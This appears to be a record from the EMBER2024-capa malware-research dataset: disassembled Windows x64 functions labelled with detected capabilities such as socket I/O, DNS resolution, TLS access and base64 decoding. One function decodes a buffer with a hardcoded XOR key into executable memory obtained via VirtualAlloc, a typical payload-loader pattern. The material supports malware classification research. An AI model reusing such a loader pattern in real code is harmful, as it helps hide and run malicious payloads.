joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003b790
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x140069040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbp, rcx
mov rdi, qword [rcx + 0x10]
xor r14d, r14d
test rdi, rdi
je 0x14003b849
lea rcx, [rdi + 0x1c8]
cmp qword [rcx + 0x20], r14
je 0x14003b7db
mov rax, qword [rcx + 0x18]
mov rdx, qword [rax]
call rdx
nop
mov rbx, qword [rdi + 0x1b0]
test rbx, rbx
je 0x14003b813
mov esi, 0xffffffff
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14003b813
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], esi
cmp esi, 1
jne 0x14003b813
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x48]
cmp rcx, 0xffffffffffffffff
je 0x14003b845
mov qword [rsp + 0x28], r14
lea rax, [0x140076000]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x20], 0
lea r9, [rsp + 0x28]
mov r8b, 1
lea rdx, [rsp + 0x20]
call fcn.140007090
mov qword [rbp + 0x10], r14
mov rbx, qword [rbp + 8]
test rbx, rbx
je 0x14003b891
mov ecx, dword [0x14007cb24]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14003b884
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14003b884
mov ecx, r14d
mov rax, r14
cmp qword [rdx + rax*8], 0
je 0x14003b8b1
inc ecx
inc rax
cmp rax, 2
jl 0x14003b872
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
mov qword [rbp + 8], r14
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400447a0
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
movzx eax, byte [rbx + 0x200]
mov byte [rbx], al
movsxd rax, ecx
mov qword [rdx + rax*8], rbx
jmp 0x14003b88d

Function at 0x14003be90
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x14003bec3
add rcx, 0x60
cmp qword [rcx + 0x20], 0
je 0x14003bebb
mov rax, qword [rcx + 0x18]
mov rdx, qword [rax]
call rdx
nop
mov qword [rdi + 0x10], 0
mov rbx, qword [rdi + 8]
test rbx, rbx
je 0x14003bf13
mov ecx, dword [0x14007cb24]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14003bf02
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14003bf02
xor ecx, ecx
xor eax, eax
nop word [rax + rax]
cmp qword [rdx + rax*8], 0
je 0x14003bf1e
inc ecx
inc rax
cmp rax, 2
jl 0x14003bef0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rbx + 0x98]
mov byte [rbx], al
movsxd rax, ecx
mov qword [rdx + rax*8], rbx
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14003c110
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x14003c143
add rcx, 0x68
cmp qword [rcx + 0x20], 0
je 0x14003c13b
mov rax, qword [rcx + 0x18]
mov rdx, qword [rax]
call rdx
nop
mov qword [rdi + 0x10], 0
mov rbx, qword [rdi + 8]
test rbx, rbx
je 0x14003c193
mov ecx, dword [0x14007cb24]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14003c182
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14003c182
xor ecx, ecx
xor eax, eax
nop word [rax + rax]
cmp qword [rdx + rax*8], 0
je 0x14003c19e
inc ecx
inc rax
cmp rax, 2
jl 0x14003c170
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rbx + 0xa0]
mov byte [rbx], al
movsxd rax, ecx
mov qword [rdx + rax*8], rbx
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14003d620
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x14003d64f
mov rcx, qword [rcx + 0x38]
test rcx, rcx
je 0x14003d647
mov rax, qword [rcx]
xor edx, edx
call rax
nop
mov qword [rdi + 0x10], 0
mov rbx, qword [rdi + 8]
test rbx, rbx
je 0x14003d699
mov ecx, dword [0x14007cb24]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14003d688
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14003d688
xor ecx, ecx
xor eax, eax
cmp qword [rdx + rax*8], 0
je 0x14003d6a4
inc ecx
inc rax
cmp rax, 2
jl 0x14003d676
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rbx + 0x48]
mov byte [rbx], al
movsxd rax, ecx
mov qword [rdx + rax*8], rbx
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14003d850
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x10], 0
mov rbx, rcx
je 0x14003d86c
mov qword [rcx + 0x10], 0
mov rdi, qword [rcx + 8]
test rdi, rdi
je 0x14003d8b9
mov ecx, dword [0x14007cb24]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14003d8a8
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14003d8a8
mov ecx, 4
mov eax, ecx
cmp qword [rdx + rax*8], 0
je 0x14003d8c4
inc ecx
inc rax
cmp rax, 6
jl 0x14003d896
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
mov qword [rbx + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rdi + 0x38]
mov byte [rdi], al
movsxd rax, ecx
mov qword [rdx + rax*8], rdi
mov qword [rbx + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14003d8f0
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x10], 0
mov rbx, rcx
je 0x14003d90c
mov qword [rcx + 0x10], 0
mov rdi, qword [rcx + 8]
test rdi, rdi
je 0x14003d959
mov ecx, dword [0x14007cb24]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14003d948
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14003d948
mov ecx, 4
mov eax, ecx
cmp qword [rdx + rax*8], 0
je 0x14003d964
inc ecx
inc rax
cmp rax, 6
jl 0x14003d936
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
mov qword [rbx + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rdi + 0x28]
mov byte [rdi], al
movsxd rax, ecx
mov qword [rdx + rax*8], rdi
mov qword [rbx + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14003d990
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x10], 0
mov rbx, rcx
je 0x14003d9ac
mov qword [rcx + 0x10], 0
mov rdi, qword [rcx + 8]
test rdi, rdi
je 0x14003d9f9
mov ecx, dword [0x14007cb24]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14003d9e8
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14003d9e8
mov ecx, 4
mov eax, ecx
cmp qword [rdx + rax*8], 0
je 0x14003da04
inc ecx
inc rax
cmp rax, 6
jl 0x14003d9d6
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
mov qword [rbx + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rdi + 0x30]
mov byte [rdi], al
movsxd rax, ecx
mov qword [rdx + rax*8], rdi
mov qword [rbx + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14003da30
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x20
mov rbx, qword [rcx + 0x10]
mov rsi, rcx
test rbx, rbx
je 0x14003da8d
mov rbx, qword [rbx + 0x18]
test rbx, rbx
je 0x14003da85
mov qword [rsp + 0x30], rdi
mov edi, 0xffffffff
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14003da80
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x14003da80
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
mov rdi, qword [rsp + 0x30]
mov qword [rsi + 0x10], 0
mov rbx, qword [rsi + 8]
test rbx, rbx
je 0x14003dada
mov ecx, dword [0x14007cb24]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14003dac9
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14003dac9
mov ecx, 4
mov eax, ecx
cmp qword [rdx + rax*8], 0
je 0x14003dae5
inc ecx
inc rax
cmp rax, 6
jl 0x14003dab7
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
mov qword [rsi + 8], 0
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
ret
movzx eax, byte [rbx + 0x48]
mov byte [rbx], al
movsxd rax, ecx
mov qword [rdx + rax*8], rbx
mov rbx, qword [rsp + 0x38]
mov qword [rsi + 8], 0
add rsp, 0x20
pop rsi
ret
Function at 0x14003db10
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x20
mov rbx, qword [rcx + 0x10]
mov rsi, rcx
test rbx, rbx
je 0x14003db6d
mov rbx, qword [rbx + 0x10]
test rbx, rbx
je 0x14003db65
mov qword [rsp + 0x30], rdi
mov edi, 0xffffffff
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14003db60
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x14003db60
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
mov rdi, qword [rsp + 0x30]
mov qword [rsi + 0x10], 0
mov rbx, qword [rsi + 8]
test rbx, rbx
je 0x14003dbba
mov ecx, dword [0x14007cb24]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14003dba9
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14003dba9
mov ecx, 4
mov eax, ecx
cmp qword [rdx + rax*8], 0
je 0x14003dbc5
inc ecx
inc rax
cmp rax, 6
jl 0x14003db97
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
mov qword [rsi + 8], 0
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
ret
movzx eax, byte [rbx + 0x38]
mov byte [rbx], al
movsxd rax, ecx
mov qword [rdx + rax*8], rbx
mov rbx, qword [rsp + 0x38]
mov qword [rsi + 8], 0
add rsp, 0x20
pop rsi
ret
Function at 0x14003e250
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rbx, qword [rcx + 0x10]
test rbx, rbx
je 0x14003e2b0
lea rcx, [rbx + 0x1b0]
cmp qword [rcx + 0x20], 0
je 0x14003e27e
mov rax, qword [rcx + 0x18]
mov rdx, qword [rax]
call rdx
nop
lea rcx, [rbx + 0x150]
call fcn.14003ad40
mov rcx, qword [rbx + 0x40]
test rcx, rcx
je 0x14003e2a8
mov eax, 0xffffffff
lock xadd dword [rcx + 0xc], eax
cmp eax, 1
jne 0x14003e2a8
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov qword [rdi + 0x10], 0
mov rbx, qword [rdi + 8]
test rbx, rbx
je 0x14003e2fa
mov ecx, dword [0x14007cb24]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14003e2e9
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14003e2e9
xor ecx, ecx
xor eax, eax
cmp qword [rdx + rax*8], 0
je 0x14003e305
inc ecx
inc rax
cmp rax, 2
jl 0x14003e2d7
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rbx + 0x1e8]
mov byte [rbx], al
movsxd rax, ecx
mov qword [rdx + rax*8], rbx
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14003eef0
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x14003ef17
add rcx, 8
call fcn.14003ad40
mov qword [rdi + 0x10], 0
mov rbx, qword [rdi + 8]
test rbx, rbx
je 0x14003ef64
mov ecx, dword [0x14007cb24]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14003ef53
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14003ef53
mov ecx, 4
mov eax, ecx
cmp qword [rdx + rax*8], 0
je 0x14003ef6f
inc ecx
inc rax
cmp rax, 6
jl 0x14003ef41
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rbx + 0x88]
mov byte [rbx], al
movsxd rax, ecx
mov qword [rdx + rax*8], rbx
mov rbx, qword [rsp + 0x30]
mov qword [rdi + 8], 0
add rsp, 0x20
pop rdi
ret

Function at 0x14003f390
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140069040]
xor rax, rsp
mov qword [rsp + 0x48], rax
cmp qword [0x14007c980], 0
mov ebx, ecx
ja 0x14003f3c9
mov eax, 0xffffdcd8
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400447a0
add rsp, 0x50
pop rbx
ret
inc dword [0x14007c138]
mov dword [0x14007c13c], 0x9823ae8d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [0x14007c134], eax
test ebx, ebx
je 0x14003f3f2
or dword [0x14007c0f8], 1
jmp 0x14003f3f9
and dword [0x14007c0f8], 0xfffffffe
movups xmm0, xmmword [0x14007c0f8]
mov rcx, qword [0x14007c980]
lea rax, [0x14007c970]
movups xmm1, xmmword [0x14007c108]
lea rdx, [0x14007c130]
mov dword [rsp + 0x28], sendto
movaps xmmword [0x14007c140], xmm0
xor r9d, r9d
movups xmm0, xmmword [0x14007c118]
mov r8d, 0x48
mov qword [rsp + 0x20], rax
movaps xmmword [0x14007c150], xmm1
movsd xmm1, qword [0x14007c128]
movaps xmmword [0x14007c160], xmm0
movsd qword [0x14007c170], xmm1
call qword [sym.imp.WS2_32.dll_sendto]
mov rcx, qword [0x14007c980]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rdx, [0x14007c550]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x30], sendto
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov r8d, 0x400
call qword [sym.imp.WS2_32.dll_recvfrom]
test eax, eax
jns 0x14003f4b9
mov eax, 0xffffdcdb
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400447a0
add rsp, 0x50
pop rbx
ret
mov eax, dword [0x14007c13c]
cmp dword [0x14007c55c], eax
je 0x14003f4df
mov eax, 0xffffdcdc
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400447a0
add rsp, 0x50
pop rbx
ret
mov ecx, dword [0x14007c138]
xor eax, eax
cmp dword [0x14007c558], ecx
mov edx, 0xffffdcdd
cmovne eax, edx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400447a0
add rsp, 0x50
pop rbx
ret
Function at 0x140043f78
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140043fb2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140043fb7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140044000
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14004bee0]
cmp byte [rcx + rax], 0
je 0x140044000
dec r8
sub rdx, 1
jne 0x140043fe6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14004468c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.1400440b4
mov ebx, eax
test eax, eax
jne 0x1400446bc
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x14004471f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140044716
test al, 0x10
je 0x140044716
bt eax, 0xa
jae 0x14004470f
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.140044730
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x14004470b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x14004470b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
test edi, edi
jne 0x140044716
and dword [rsp + 0x3c], 0
jmp 0x14004471b
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400456c8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140045712
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140045712
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140045712
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140045712
cmp dword [rcx + 0x84], 0xe
jbe 0x140045712
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140045714
xor al, al
add rsp, 0x28
ret
Function at 0x18000260c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
mov ebp, edx
lea rcx, str.kernel32.dll
xor edx, edx
call qword [sym.imp.ole32.dll_CoLoadLibrary]
lea r8, str.VirtualAlloc
mov rdx, rax
call fcn.180008b70
lea rcx, str.8192
mov rdi, rax
call fcn.18000f314
lea rcx, str.4096
mov ebx, eax
call fcn.18000f314
mov edx, ebp
or ebx, eax
mov r9d, 0x40
xor ecx, ecx
mov r8d, ebx
call rdi
xor edi, edi
mov rbx, rax
test rax, rax
je 0x1800026d1
test ebp, ebp
je 0x1800026ce
mov r14, rax
sub rsi, rax
call fcn.18000b5c8
mov rcx, rax
call fcn.18000b7e8
mov ecx, edi
mov eax, 0x8fb823ef
imul edi
add edx, edi
inc edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x39
sub ecx, eax
movsxd rax, ecx
lea rcx, str.ky_7jB0ZZax_0h4U_jOpVe7vtDB7fH_WDO7Rl9WhMjrtr7_EK0FAi
mov al, byte [rax + rcx]
xor al, byte [rsi + r14]
mov byte [r14], al
inc r14
cmp edi, ebp
jb 0x18000268a
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1800026ec
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
and qword [rax - 0x18], 0
and qword [rax - 0x20], 0
mov ebp, r9d
mov r14, r8
xor r9d, r9d
mov rbx, rdx
mov rdi, rcx
mov qword [rax - 0x28], rdx
lea r8d, [r9 + 1]
mov edx, ebp
mov rcx, r14
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x180002739
xor al, al
jmp 0x18000277d
mov eax, dword [rbx]
inc eax
mov ecx, eax
mov esi, eax
call fcn.18000f320
mov r9, rax
mov qword [rdi], rax
test rax, rax
je 0x180002735
mov rdi, rax
xor eax, eax
mov ecx, esi
and qword [rsp + 0x30], rax
and qword [rsp + 0x28], rax
rep stosb byte [rdi], al
lea r8d, [rax + 1]
mov edx, ebp
mov rcx, r14
mov qword [rsp + 0x20], rbx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
setne al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400033f4
Capabilities:
Get socket status

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rdi, rcx
mov qword [rsp + 0x38], rcx
mov ecx, 4
mov dword [rsp + 0x30], 1
mov r10, rdx
lea r9, [rbp + 0x140]
lea rax, [rsp + 0x30]
lea r11d, [rcx + 0x7c]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r9], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [r9 + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [r9 + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [r9 + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [r9 + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [r9 + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
add rax, r11
movups xmmword [r9 + 0x60], xmm0
add r9, r11
movups xmmword [r9 - 0x10], xmm1
sub rcx, 1
jne 0x140003432
mov rax, qword [rax]
lea rcx, [rbp + 0x350]
mov qword [r9], rax
mov edx, 4
lea rax, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
add rax, r11
movups xmmword [rcx + 0x60], xmm0
add rcx, r11
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14000349b
mov rax, qword [rax]
xor ebx, ebx
mov qword [rcx], rax
mov dword [rbp + 0x5a8], r10d
mov dword [rbp + 0x5ac], r8d
lea rax, [rbp + 0x5a8]
lea r9, [rbp + 0x350]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x140]
lea rdx, [rsp + 0x30]
lea ecx, [rdi + 1]
call qword [sym.imp.WS2_32.dll_select]
mov esi, eax
test eax, eax
jns 0x140003533
call fcn.140077fd8
cmp dword [rax], 4
je 0x1400034fb
test esi, esi
jne 0x14000353c
lea eax, [rsi + 0xd]
jmp 0x1400035b5
jle 0x1400035b0
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
jne 0x140003564
lea rdx, [rbp + 0x140]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x1400035b0
lea rax, [rbp + 0x5a0]
mov dword [rbp + 0x598], ebx
lea r9, [rbp + 0x598]
mov qword [rsp + 0x20], rax
mov edx, 0xffff
mov dword [rbp + 0x5a0], 4
mov r8d, 0x1007
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
js 0x1400035a7
cmp dword [rbp + 0x598], ebx
je 0x1400035ac
mov ebx, 2
mov eax, ebx
jmp 0x1400035b5
mov eax, 2
add rsp, 0x660
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1400035c4
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x240
and dword [rax + 0x10], 0
mov rdi, rcx
and dword [rax + 0x14], 0
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], 1
lea rax, [rsp + 0x258]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x30]
lea ecx, [rdi + 1]
call qword [sym.imp.WS2_32.dll_select]
mov ebx, eax
test eax, eax
jns 0x140003620
call fcn.140077fd8
cmp dword [rax], 4
je 0x1400035ef
test ebx, ebx
jne 0x140003628
mov al, 1
jmp 0x14000366b
jns 0x140003638
call fcn.140077fd8
cmp dword [rax], 9
jne 0x140003638
xor al, al
jmp 0x14000366b
lea rsi, [rsp + 0x250]
mov r9d, 2
mov rdx, rsi
mov rcx, rdi
lea r8d, [r9 - 1]
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test eax, eax
jns 0x140003666
call fcn.140077fd8
cmp dword [rax], 4
je 0x140003640
test ebx, ebx
setg al
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x1400037e8
Capabilities:
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x450
mov r14d, 2
mov rsi, r9
mov rdi, r8
mov ebp, edx
mov rbx, rcx
cmp word [rcx], r14w
je 0x140003825
cmp word [rcx], 0x17
jne 0x1400038c4
movzx ecx, word [rcx + 2]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
xor edx, edx
mov dword [rsi], eax
lea rcx, [rsp + 0x40]
mov esi, 0x401
mov r8d, esi
call fcn.140098ab0
mov dword [rsp + 0x30], r14d
lea r8, [rsp + 0x40]
xor r14d, r14d
mov r9d, esi
mov dword [rsp + 0x28], r14d
mov edx, ebp
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
jne 0x1400038c4
lea rax, [rsp + 0x40]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14000387a
cmp rbx, qword [rdi + 0x18]
ja 0x1400038b0
cmp qword [rdi + 0x18], 0xf
mov rsi, rdi
jbe 0x140003896
mov rsi, qword [rdi]
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140098410
mov byte [rsi + rbx], r14b
jmp 0x1400038c0
lea r9, [rsp + 0x40]
mov rdx, rbx
mov rcx, rdi
call fcn.140016954
mov al, 1
jmp 0x1400038c6
xor al, al
lea r11, [rsp + 0x450]
